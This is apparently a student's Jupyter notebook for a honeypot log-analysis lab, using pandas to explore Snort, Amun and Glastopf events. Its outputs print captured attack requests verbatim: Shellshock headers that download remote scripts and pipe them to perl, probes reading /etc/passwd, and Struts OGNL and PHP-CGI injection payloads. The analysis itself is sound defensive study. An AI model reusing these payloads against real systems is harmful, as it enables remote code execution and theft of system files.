Lab 2.1

Introduction

More timeseries analysis, but different data. Instead of flow data this lab will examine some data that was gathered from various honeypots. Three different honeypot packages were used to generate this data: Snort, Amun, and Glastopf. Snort (http://snort.org/) looks for patterns in network traffic and can be run in addition to the other types of honeypots. Amun (http://amunhoney.sourceforge.net/) is a low-interaction honeypot that listens on several ports and records connections to those ports. Glastopf (http://glastopf.org/) is another low-interaction honeypot that runs a web server and records client requests.

Timeseries graphs and other exploration techniques will be used to understand the types and frequency of scans/attacks against the honeypot infrastructure.

Exercises

File Input

Instead of parsing a CSV file, the JSON output from *mongoexport* will be used.

In [1]:
```
import pandas as pd
import json
```

Execute the following cell to read in one JSON entry from *mongoexport*.

In [ ]:
```
#df = pd.read_json("./1.json")
```

What does the data look like? Is it in a usable format?

In [ ]:
```
#df
```

I cannot find this JSON file from Mike's repo so I commented out the cells for convenience.

Since the data doesn't quite look ready-to-use one of IPython's other features of loading an external Python script can be used to fire up some parsing code. In the following cell use the **%load** magic word, and the file you'll want to load is *readhoneydata.py*.

In [ ]:
```
#%load readhoneydata.py
```

This external Python script was not provided so I have commented it out. Mostly likely the cell below is the code used by the script to read the honeypot data.

In [2]:

```
f = open('./honeypot.json', 'r')
count = 0
glastopf = []
amun = []
snort = []
for line in f:
    j = json.loads(line)
    temp = []
    temp.append(j["_id"]["$oid"])
    temp.append(j["ident"])
    temp.append(j["normalized"])
    temp.append(j["timestamp"]["$date"])
    temp.append(j["channel"])
    payload = json.loads(j["payload"])
    if j["channel"] == "glastopf.events":
        temp.append(payload["pattern"])
        temp.append(payload["filename"])
        temp.append(payload["request_raw"])
        temp.append(payload["request_url"])
        temp.append(payload["source"][0])
        temp.append(payload["source"][1])
        glastopf.append(temp)
    elif j["channel"] == "amun.events":
        temp.append(payload["attackerIP"])
        temp.append(payload["attackerPort"])
        temp.append(payload["victimIP"])
        temp.append(payload["victimPort"])
        temp.append(payload["connectionType"])
        amun.append(temp)
    elif j["channel"] == "snort.alerts":
        temp.append(payload["source_ip"])
        if "source_port" in payload:
            temp.append(payload["source_port"])
        else:
            temp.append("0")
        temp.append(payload["destination_ip"])
        if "destination_port" in payload:
            temp.append(payload["destination_port"])
        else:
            temp.append("0")
        temp.append(payload["signature"])
        temp.append(payload["classification"])
        temp.append(payload["proto"])
        snort.append(temp)
    else:
        print(j)
f.close()
```

```
{'_id': {'$oid': '54f5e3ff9f8c6d649a2767fc'}, 'ident': 'a13907c8-c1c1-11e4-9e
e4-0a0b6e7c3e9e', 'timestamp': {'$date': '2015-03-03T16:40:31.681+0000'}, 'no
rmalized': True, 'payload': '{"connection_type": "reject", "local_host": "16
2.244.30.100", "connection_protocol": "pcap", "remote_port": 44516, "local_po
rt": 23, "remote_hostname": "", "connection_transport": "tcp", "remote_host":
"176.232.136.46"}', 'channel': 'dionaea.connections'}
{'_id': {'$oid': '54f5e65b9f8c6d649a2767ff'}, 'ident': 'a13907c8-c1c1-11e4-9e
e4-0a0b6e7c3e9e', 'timestamp': {'$date': '2015-03-03T16:50:35.359+0000'}, 'no
```

```
rmalized': True, 'payload': '{"connection_type": "reject", "local_host": "16
2.244.30.100", "connection_protocol": "pcap", "remote_port": 33122, "local_po
rt": 3128, "remote_hostname": "", "connection_transport": "tcp", "remote_hos
t": "61.160.213.108"}', 'channel': 'dionaea.connections'}
{'_id': {'$oid': '54f5e7a99f8c6d649a276801'}, 'ident': 'a13907c8-c1c1-11e4-9e
e4-0a0b6e7c3e9e', 'timestamp': {'$date': '2015-03-03T16:56:09.910+0000'}, 'no
rmalized': True, 'payload': '{"connection_type": "reject", "local_host": "16
2.244.30.100", "connection_protocol": "pcap", "remote_port": 56252, "local_po
rt": 23, "remote_hostname": "", "connection_transport": "tcp", "remote_host":
"115.50.182.177"}', 'channel': 'dionaea.connections'}
{'_id': {'$oid': '54f5e9279f8c6d649a276804'}, 'ident': 'a13907c8-c1c1-11e4-9e
```

I modified print j to print(j).

Quickly build the dataframes from the lists of lists.

In [3]:
```
amun_df = pd.DataFrame(amun, columns=['id','ident','normalized','timestamp','char
glastopf_df = pd.DataFrame(glastopf, columns=['id','ident','normalized','timestar
snort_df = pd.DataFrame(snort, columns=['id','ident','normalized','timestamp','cl
```

Check out the dataframes (amun_df, glastopf_df, and snort_df) and get a quick feel to see the types of data in them.

Hint: Try running the **head()** and **dtypes** functions on the dataframes.

In [4]:
```
amun_df.head()
```

Out[4]:

	id	ident	normalized	timestamp	channel	a
0	542794b59f8c6d41306aea9b	eb030eb8-3c69-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T04:55:17.147+0000	amun.events	162.1
1	542797189f8c6d41306aea9d	eb030eb8-3c69-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T05:05:28.994+0000	amun.events	71.6
2	5427a5259f8c6d41306aea9f	eb030eb8-3c69-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T06:05:25.530+0000	amun.events	71.6
3	5427ada59f8c6d41306aeaa5	eb030eb8-3c69-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T06:41:41.918+0000	amun.events	117.21
4	5427b81e9f8c6d41306aeaab	eb030eb8-3c69-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T07:26:22.730+0000	amun.events	173.193

In [5]:
```
glastopf_df.head()
```

Out[5]:

	id	ident	normalized	timestamp	channel	
0	5426456e9f8c6d41306aea57	a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-27T05:04:46.363+0000	glastopf.events	st
1	542645799f8c6d41306aea59	a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-27T05:04:57.901+0000	glastopf.events	u
2	5426457a9f8c6d41306aea5a	a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-27T05:04:58.066+0000	glastopf.events	st
3	5426457a9f8c6d41306aea5d	a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-27T05:04:58.248+0000	glastopf.events	u
4	5426462d9f8c6d41306aea5f	a16f5f36-3c41-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-27T05:07:57.267+0000	glastopf.events	u

In [6]:
```
snort_df.head()
```

Out[6]:

	id	ident	normalized	timestamp	channel	attack
0	542820019f8c6d41306aeaff	139cfdf2-471e-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T14:49:37.787+0000	snort.alerts	201.158.
1	54283a699f8c6d41306aeb31	e93b34b2-4726-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T16:42:17.698+0000	snort.alerts	218.77.7
2	54285aa59f8c6d41306aeb69	e50f7cbe-472f-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T18:59:49.392+0000	snort.alerts	218.77.7
3	542862a19f8c6d41306aeb6f	5cda4a12-4730-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T19:33:53.112+0000	snort.alerts	218.77.7
4	542866eb9f8c6d41306aeb75	5cda4a12-4730-11e4-9ee4-0a0b6e7c3e9e	True	2014-09-28T19:52:11.174+0000	snort.alerts	81.228.7

The timestamp column looks to be in the ISO 8601 format for JSON data: https://stackoverflow.com/questions/10286204/the-right-json-date-format

The values after the "+" looks to be a timezone offset: https://davidsekar.com/javascript/converting-json-date-string-date-to-date-object (https://davidsekar.com/javascript/converting-json-date-string-date-to-date-object)

In [7]:
```
amun_df.dtypes
```

Out[7]:
```
id                object
ident             object
normalized          bool
timestamp         object
channel           object
attackerIP        object
attackerPort       int64
victimIP          object
victimPort         int64
connectionType    object
dtype: object
```

In [8]:
```
glastopf_df.dtypes
```

Out[8]:
```
id              object
ident           object
normalized        bool
timestamp       object
channel         object
pattern         object
filename        object
request_raw     object
request_url     object
attackerIP      object
attackerPort     int64
dtype: object
```

In [9]:
```
snort_df.dtypes
```

Out[9]:
```
id                object
ident             object
normalized          bool
timestamp         object
channel           object
attackerIP        object
attackerPort      object
victimIP          object
victimPort        object
signature         object
classification    object
proto             object
dtype: object
```

Data Cleanup

SPOILER ALERT

Since the timestamp column isn't a datetime data type we need to fix that. Below is an example that shows what had to be done to the amun dataframe, add in the glastopf and snort ones as well.

In [10]:
```
amun_df['timestamp'] = amun_df['timestamp'].apply(lambda x: str(x).replace('T',
glastopf_df['timestamp'] = glastopf_df['timestamp'].apply(lambda x: str(x).repla
snort_df['timestamp'] = snort_df['timestamp'].apply(lambda x: str(x).replace('T'
```

In [11]:
```
amun_df['timestamp'] = pd.to_datetime(amun_df['timestamp'])
glastopf_df['timestamp'] = pd.to_datetime(glastopf_df['timestamp'])
snort_df['timestamp'] = pd.to_datetime(snort_df['timestamp'])
```

The lambda function was applied to the timestamp column such that 'T' was replaced with 'T '. Probably to create a space between the date (YYYY-MM-DD) and the time (HH:MM:SS.MS).

In [12]:
```
amun_df['timestamp'].head()
```

Out[12]:
```
0   2014-09-28 04:55:17.147000+00:00
1   2014-09-28 05:05:28.994000+00:00
2   2014-09-28 06:05:25.530000+00:00
3   2014-09-28 06:41:41.918000+00:00
4   2014-09-28 07:26:22.730000+00:00
Name: timestamp, dtype: datetime64[ns, UTC]
```

In [13]:
```
glastopf_df['timestamp'].head()
```

Out[13]:
```
0   2014-09-27 05:04:46.363000+00:00
1   2014-09-27 05:04:57.901000+00:00
2   2014-09-27 05:04:58.066000+00:00
3   2014-09-27 05:04:58.248000+00:00
4   2014-09-27 05:07:57.267000+00:00
Name: timestamp, dtype: datetime64[ns, UTC]
```

In [14]:
```
snort_df['timestamp'].head()
```

Out[14]:
```
0   2014-09-28 14:49:37.787000+00:00
1   2014-09-28 16:42:17.698000+00:00
2   2014-09-28 18:59:49.392000+00:00
3   2014-09-28 19:33:53.112000+00:00
4   2014-09-28 19:52:11.174000+00:00
Name: timestamp, dtype: datetime64[ns, UTC]
```

The timestamp columns in the three dataframes are now in datetime format.

Don't forget to double check that the timestamp column is now a datetime object type.

Data Augmentation

1. Add a column to *glastopf_df* called *victimPort* and assign it the value **80**.
2. Add country name to all three dataframes by using the GeoIP module, one example has already been provided.

This product includes GeoLite2 data created by MaxMind, available from http://www.maxmind.com (http://www.maxmind.com).

In [15]:
```
import GeoIP

gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)

amun_df['attackerCountry'] = amun_df['attackerIP'].apply(lambda x: gi.country_nar
glastopf_df['victimPort']=80

glastopf_df['attackerCountry'] = glastopf_df['attackerIP'].apply(lambda x: gi.cou
snort_df['attackerCountry'] = snort_df['attackerIP'].apply(lambda x: gi.country_
```

```
---------------------------------------------------------------------------
ModuleNotFoundError                       Traceback (most recent call last)
<ipython-input-15-1a4365c231ff> in <module>
----> 1 import GeoIP
      2
      3 gi = GeoIP.new(GeoIP.GEOIP_MEMORY_CACHE)
      4
      5 amun_df['attackerCountry'] = amun_df['attackerIP'].apply(lambda x: gi.c
ountry_name_by_addr(x))

ModuleNotFoundError: No module named 'GeoIP'
```

Well, this sucks. I just installed GeoIP from the Anaconda prompt and it is not working. Installation of geoip2 won't work either.

There seems to be a workaround here: https://stackoverflow.com/questions/24678308/how-to-find-location-with-ip-address-in-python (https://stackoverflow.com/questions/24678308/how-to-find-location-with-ip-address-in-python) It might require registration to use an API and limiting requests to avoid getting blocked.

Create a new dataframe that has some common information from the other three dataframes.

In [ ]:
```
#cols = ['channel','timestamp','attackerIP','victimPort','attackerCountry']
#attacker_df = pd.DataFrame()
#attacker_df = attacker_df.append(snort_df[cols], ignore_index=True)
#attacker_df = attacker_df.append(amun_df[cols], ignore_index=True)
#attacker_df = attacker_df.append(glastopf_df[cols], ignore_index=True)
```

I have tried to run the cell wtih 'attackerCountry' omitted from the cols array, but had an issue with creating the victimPort column for glastopf_df.

Reindex

Using what you learned in the first part of the lab set the index for the *attacker_df* to the *timestamp* column.

In [ ]:
```
#attacker_df = attacker_df.set_index('timestamp')
#attacker_df.head()
```

Basic Exploration

What are the top 10 most active IPs in the *attacker_df*? What honeypot type picked up this attacker, and what port(s) was this attacker especially fond of.

Hint Incase you forgot, the honeypot type is stored in the *channel* column, and the port(s) are stored in the *victimPort* column.

In [ ]:
```
#attacker_df.nlargest(10, ['attackerIP'])
```

Since I cannot run the above cells, I guessed at the answers and then commented them. Here is an example for using .nlargest:

https://www.geeksforgeeks.org/get-n-largest-values-from-a-particular-column-in-pandas-dataframe/ (https://www.geeksforgeeks.org/get-n-largest-values-from-a-particular-column-in-pandas-dataframe/)

This is one way that values can be pulled out from other column values. In this instance a new column called *user-agent* is created from the header captured in the Glastopf honeypot.

In [16]:
```
import re

regex = re.compile('.*[Uu][Ss][Ee][Rr]-[Aa][Gg][Ee][Nn][Tt]:(.*?)(?:\\r|$)')
glastopf_df['user-agent'] = glastopf_df['request_raw'].apply(lambda x: re.search
```

What are some of the more popular user-agent strings? Find any interesting patterns?

In [17]:
```
glastopf_df['user-agent'].value_counts()
```

Out[17]:
```
 curl/7.30.0
694
 () { :; }; curl http://202.143.160.141/lib21/index.cgi (http://202.143.160.1
41/lib21/index.cgi) | perl
619
 Mozilla/3.0 (compatible; Indy Library)
305
 Cloud mapping experiment. Contact research@pdrlabs.net
261
 () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCES
S!";system("wget http//luxsocks.ru ; wget https://luxsocks.ru (https://luxsoc
ks.ru) --no-check-certificate ; curl http//luxsocks.ru// ; curl -k https://lu
xsocks.ru (https://luxsocks.ru) ; lwp-download http://luxsocks.ru (http://lux
socks.ru) ; GET http://luxsocks.ru (http://luxsocks.ru) ; lynx http://luxsock
s.ru (http://luxsocks.ru) ; wget http://174.122.42.230/luxx (http://174.122.4
2.230/luxx) ; curl http://174.122.42.230/luxx (http://174.122.42.230/luxx) ;
 fetch http://174.122.42.230/luxx (http://174.122.42.230/luxx) ; lwp-download
http://174.122.42.230/luxx (http://174.122.42.230/luxx) ; GET http://174.122.
42.230/luxx (http://174.122.42.230/luxx) ; lynx http://174.122.42.230/lux
```

When you've found some patterns worth exploring, what else can you come up with.

You can use the **str.contains()** function to see what rows contain a specific substring. One example has been provided, the query in the cell below is an easy way to query for all entries that may contain a shellshock exploit attempt.

In [18]:
```
glastopf_df[glastopf_df['request_raw'].str.contains('{ :;}')]['request_raw'].val
```

Out[18]:
```
GET /cgi-sys/entropysearch.cgi HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gz
ip, deflate\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: 54.68.96.
53\r\nUser-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain
\r\n\r\nXSUCCESS!";system("wget http//luxsocks.ru ; wget https://luxsocks.ru
 (https://luxsocks.ru) --no-check-certificate ; curl http//luxsocks.ru// ; cu
rl -k https://luxsocks.ru (https://luxsocks.ru) ; lwp-download http://luxsock
s.ru (http://luxsocks.ru) ; GET http://luxsocks.ru (http://luxsocks.ru) ; lyn
x http://luxsocks.ru (http://luxsocks.ru) ; wget http://174.122.42.230/luxx
 (http://174.122.42.230/luxx) ; curl http://174.122.42.230/luxx (http://174.1
22.42.230/luxx) ; fetch http://174.122.42.230/luxx (http://174.122.42.230/lux
x) ; lwp-download http://174.122.42.230/luxx (http://174.122.42.230/luxx) ; G
ET http://174.122.42.230/luxx (http://174.122.42.230/luxx) ; lynx http://174.
122.42.230/luxx");' (http://174.122.42.230/luxx");')     10
GET /cgi-bin/test.cgi HTTP/1.1\r\nAccept: */*\r\nAccept-Encoding: gzip, defla
te\r\nAccept-Language: en-us\r\nConnection: Close\r\nHost: 54.68.96.53\r\nUse
r-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXS
UCCESS!";system("wget http//luxsocks.ru ; wget https://luxsocks.ru (https://l
uxsocks.ru) --no-check-certificate ; curl http//luxsocks.ru// ; curl -k http
s://luxsocks.ru (https://luxsocks.ru) ; lwp-download http://luxsocks.ru (htt
```

In [19]:
```
glastopf_df[glastopf_df['request_raw'].str.contains('POST ')]['request_raw'].valu
```

Out[19]:
```
POST / HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nContent-Length: 3
95\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue
\r\nHost: 54.68.96.53\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirect:${%23res%3d%
23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23re
s.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphon
y.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%2
2),%23res.getWriter().println(%23req.getSession().getServletContext().getReal
Path(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
63
POST /login.action HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nConte
nt-Length: 395\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect:
100-continue\r\nHost: 54.68.96.53\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirec
t:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRe
sponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('co
m.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().prin
t(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContex
t().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close
()}
43
```

In [20]:
```
glastopf_df[glastopf_df['request_raw'].str.contains('%')]['request_raw'].value_c
```

Out[20]:
```
POST / HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nContent-Length: 3
95\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect: 100-continue
\r\nHost: 54.68.96.53\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirect:${%23res%3d%
23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23re
s.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphon
y.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%2
2),%23res.getWriter().println(%23req.getSession().getServletContext().getReal
Path(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
63
POST /login.action HTTP/1.1\r\nAccept: */*\r\nConnection: Keep-Alive\r\nConte
nt-Length: 395\r\nContent-Type: application/x-www-form-urlencoded\r\nExpect:
100-continue\r\nHost: 54.68.96.53\r\nUser-Agent: Mozilla/5.0\r\n\r\nredirec
t:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRe
sponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('co
m.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().prin
t(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContex
t().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close
()}
43
```

In [21]:
```
glastopf_df[glastopf_df['request_raw'].str.contains('/etc/passwd')]['request_raw
```

Out[21]:
```
GET / HTTP/1.0\r\nAccept: */*\r\nUser-Agent: () { :;}; echo BANG: $(cat /etc/pa
sswd)
2
GET / HTTP/1.0\r\nAccept: */*\r\nReferer: () { :;}; echo "BigBang: " $(</etc/pa
sswd)\r\nUser-Agent: () { :;}; echo "BigBang: " $(</etc/passwd)
1
GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3
D../../../../../../../../../../../etc/passwd%00%20-n HTTP/1.1\r\nConnection: T
E, close\r\nContent-Type: application/x-www-form-rlencoded\r\nHost: 54.68.96.53
\r\nTe: deflate,gzip;q=0.3\r\nUser-Agent: Mozilla/5.0    1
Name: request_raw, dtype: int64
```

There are online tutorials on how to execute the shell shock exploit. I did a search on "shellshock exploit example in cgi-bin". These should give you an idea on what substrings to query. The solution manual has some good examples using the str.contains().

Timeseries Graphs (again)

1. Check out some of the timeseries graphs below, see if you can find any interesting patterns in the graphs/data.
2. Re-run the graphs and see what happens when you filter out the top talker from above.

Hint remove the top talker from above by using the following code: *attacker_df = attacker_df[attacker_df['attackerIP'] != '']*.

In [ ]:
```
#import matplotlib.pyplot as plt

#plt.plot(attacker_df['attackerIP'].resample("D", how='count'), label="Total Ever
#plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
#plt.show()
```

In [ ]:
```
#for port in attacker_df['victimPort'].value_counts().index:
#    if port < 10000:
#        plt.plot(attacker_df[attacker_df == port]['victimPort'].resample("D", ho
#plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
#plt.show()
```

In [ ]:
```
#tempdf = attacker_df[attacker_df['channel'] != 'amun.events']
#for port in tempdf['victimPort'].value_counts().index:
#    plt.plot(tempdf[tempdf == port]['victimPort'].resample("D", how='count'), la
#plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
#plt.show()
```

In [ ]:
```
#for channel in attacker_df['channel'].value_counts().index:
#    plt.plot(attacker_df[attacker_df['channel'] == channel]['channel'].resample
#plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
#plt.show()
```

In [ ]:
```
#for channel in attacker_df['channel'].value_counts().index:
#    if channel != "amun.events":
#        plt.plot(attacker_df[attacker_df['channel'] == channel]['channel'].resa
#plt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)
#plt.show()
```

The cells above require attacker_df so I commented them.

Further Exploration

It's possible to not only look at the top 20 countries hitting the honeypots, but other queries can be combined with the GeoIP info to get a different view on how information is laid out.

In [ ]:
```
#attacker_df['attackerCountry'].value_counts()[:20]
```

Below is a snapshot of all the countries that hit the honeypots with shellshock requests. What other types of queries can you think of?

In [ ]:
```
#glastopf_df[glastopf_df['request_raw'].str.contains('};')]['attackerCountry'].v
```

The cells above require 'attackerCountry' so I commented them.

You can learn a lot from a URL

One of the things you can learn from a URL is the types of vulnerabilites people are scanning for.

1. What types of vulnerabilites are scanners looking for?
2. How many requests for phpMyAdmin were there, and who's making them?

In [22]:
```
glastopf_df['request_url'].value_counts()
```

Out[22]:
```
/
1720
/manager/html
419
/tmUnblock.cgi
242
/phpmyadmin/scripts/setup.php
76
/login.action
55
/cgi-bin/test-cgi
49
http://s1.bdstatic.com/r/www/cache/static/home/img/logos/nuomi_ade5465d.png (ht
tp://s1.bdstatic.com/r/www/cache/static/home/img/logos/nuomi_ade5465d.png)
44
/index.action
40
/muieblackcat
38
/rom-0
33
/cgi-sys/defaultwebpage.cgi
31
/cgi-sys/entropysearch.cgi
31
HTTP/1.1
29
/cgi-bin/test.cgi
27
/phppath/cgi_wrapper
26
/cgi-sys/php5
25
/cgi-mod/index.cgi
24
/w00tw00t.at.blackhats.romanian.anti-sec:%29
23
/cgi-bin/php5
23
/user/
23
/phppath/php
22
/cgi-bin/php4
21
/cgi-bin-sdb/printenv
20
/jmx-console/
20
/user/soapCaller.bs
20
/cgi-bin/main.cgi
20
http://6.url.cn/zc/chs/img/body.png (http://6.url.cn/zc/chs/img/body.png)
19
```

/cgi-bin/test-cgi.pl
19
/cgi-bin/sat-ir-web.pl
19
/cgi-bin/login.cgi
18

...
//cgi-bin/whois/whois.cgi
1
/Gozila.cgi
1
/cgi-bin/admin.plHTTP/1.0
1
/phpMyAdmin-2.7.0-rc1/scripts/setup.php
1
/cgi-bin/ezman.cgi
1
/cgi-bin/login.html
1
//cgi-bin/search.cgi
1
//cgi-sys/entropysearch.cgi
1
/cgi-sys/realhelpdesk.cgi
1
/padrao.php?tipo=
1
/phpMyAdmin-2.6.1-rc2/scripts/setup.php
1
/phpMyAdmin-2.6.0-pl2/scripts/setup.php
1
//index.cgi
1
/userInit.action
1
/phpMyAdmin-2.8.0-rc2/scripts/setup.php
1
/browser/browser/browser.jsp
1
/phpMyAdmin-2.7.0/scripts/setup.php
1
/index.do
1
/phpMyAdmin
1
/phpMyAdmin-2.6.4-pl4/scripts/setup.php
1
http://www.baidu.com/img/baidu_jgylogo3.gif (http://www.baidu.com/img/baidu_jgylogo3.gif) 1
/jenkins/script
1
/images/theme/failed.png
1
/phpMyAdmin-2.8.1/scripts/setup.php
1
/cgi-bin/if/admin/nph-build.cgi

```
1
/root/back.css
1
/hudson/login
1
/MySQLDumper
1
//cgi-sys/defaultwebpage.cgi
1
//cgi-bin/test
1
Name: request_url, Length: 1204, dtype: int64
```

Looks like scanners are looking for vulnerabilites in phpMyAdmin.

In [23]:
```
len(glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['channel'
```

Out[23]:
```
574
```

There were 574 requests for phpMyAdmin.

In [24]:
```
glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['attackerIP']
```

Out[24]:
```
array(['198.12.87.152', '104.192.103.3', '101.69.247.10',
       '184.154.169.194', '89.248.171.2', '222.175.241.131',
       '69.174.245.163', '69.175.60.90', '175.122.253.28',
       '93.174.93.177', '222.74.212.77', '64.95.98.214',
       '182.245.121.169', '69.85.92.62', '198.154.63.131',
       '186.155.250.220', '198.74.115.138', '62.210.69.217',
       '89.46.100.144', '94.102.49.11', '62.210.247.154', '192.3.207.66',
       '80.82.65.186', '203.183.65.53', '119.9.22.11', '61.178.42.254',
       '104.243.47.26', '85.114.141.217', '50.30.35.150',
       '217.172.182.17', '69.64.37.98', '104.243.24.211',
       '173.242.120.210'], dtype=object)
```

These are the IPs making requests for phpMyAdmin.

In [ ]:
```
#for ip in glastopf_df[glastopf_df['request_raw'].str.contains('phpMyAdmin')]['a
#    print "%s - %s" %(ip, glastopf_df[glastopf_df['attackerIP'] == ip]['attacke
```

Correlation over time

This is a technique to determine if multiple countries are active across all the honeypots at/around the same time.

Since we're just intersted in *attackerCountry*, a dataframe that contains just that data will be created for clarity.

In [ ]:
```
#plt.rcParams['figure.figsize'] = (10, 10)
#subset = attacker_df[['attackerCountry']]
#subset['count'] = 1
#pivot = pd.pivot_table(subset, values='count', index=subset.index, columns=['at
```

Let's take a look at the 20 most active contries. Make sure to change the cell below to reflect this.

In [ ]:
```
#topN = subset['attackerCountry'].value_counts()[:20].index
```

Below illustrates how the correlation matrix can be graphed. The X and Y axis are sorted for ease of understanding/viewing of the data.

In [ ]:
```
#grouped = pivot.groupby([(lambda x: x.month), (lambda x: x.day)]).sum()
#corr_df = grouped[topN].corr()

#import statsmodels.api as sm

#corr_df.sort(axis=0, inplace=True)
#corr_df.sort(axis=1, inplace=True)
#corr_matrix = corr_df.as_matrix()
#sm.graphics.plot_corr(corr_matrix, ynames=corr_df.index.tolist(), xnames=corr_d
#plt.show()
```

Next up, dig into the correlations a bit more. We can look at the behavior across honeypots over time by using the grouped information, and plotting it.

Pick 4 countries from above that appear to be highly correlated (the squares where the countries meet are closer to black) and graph them.

In [ ]:
```
#print grouped[['France','Germany','Netherlands']].corr()
#grouped[['France','Germany','Netherlands']].plot()
#pylab.ylabel('Probes')
#pylab.xlabel('Date Scanned')
```

Pick some of the ones that appear to not be highly correlated, what does their graph look like?

In [ ]:
```
#print grouped[['France','Poland','Taiwan']].corr()
#grouped[['France','Poland','Taiwan']].plot()
#pylab.ylabel('Probes')
#pylab.xlabel('Date Scanned')
```

It is unfortunate that I could not show all of the graphs for this lab. I have tried to omit the 'attackerCountry' column and ran the code to create attacker_df, but had an issue with adding the column victimPort for glastopf_df. Though, if you are curious, please check the solutions manual, Lab_2.1-Solutions, to understand what the outputs of the commented cells should look like. To me, I think timeseries are boring unless they are used for interesting correlations and pivoting. I did enjoy the exercises using str.contains() on the requests to examine the shell shock exploit.